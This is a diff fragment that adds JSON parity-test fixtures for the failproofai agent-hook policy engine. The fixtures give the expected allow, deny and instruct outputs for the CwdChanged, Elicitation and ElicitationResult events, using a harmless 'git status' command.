"instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..686ce851 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5fb0cc5d --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..315e9942 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..91d61dcf --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..92bfee23 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0d95e575 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1af6e2dd --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..eeda1829 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1e232d56 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f3cac27d --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0caac092 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..05bdf122 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..dd843f8f --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1547d7d2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2e56df64 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fd973648 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..01e5ba08 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3a925c7e --- /dev/null +++ b/__tests__/parity/fixtures/factory/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0068d0f8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git 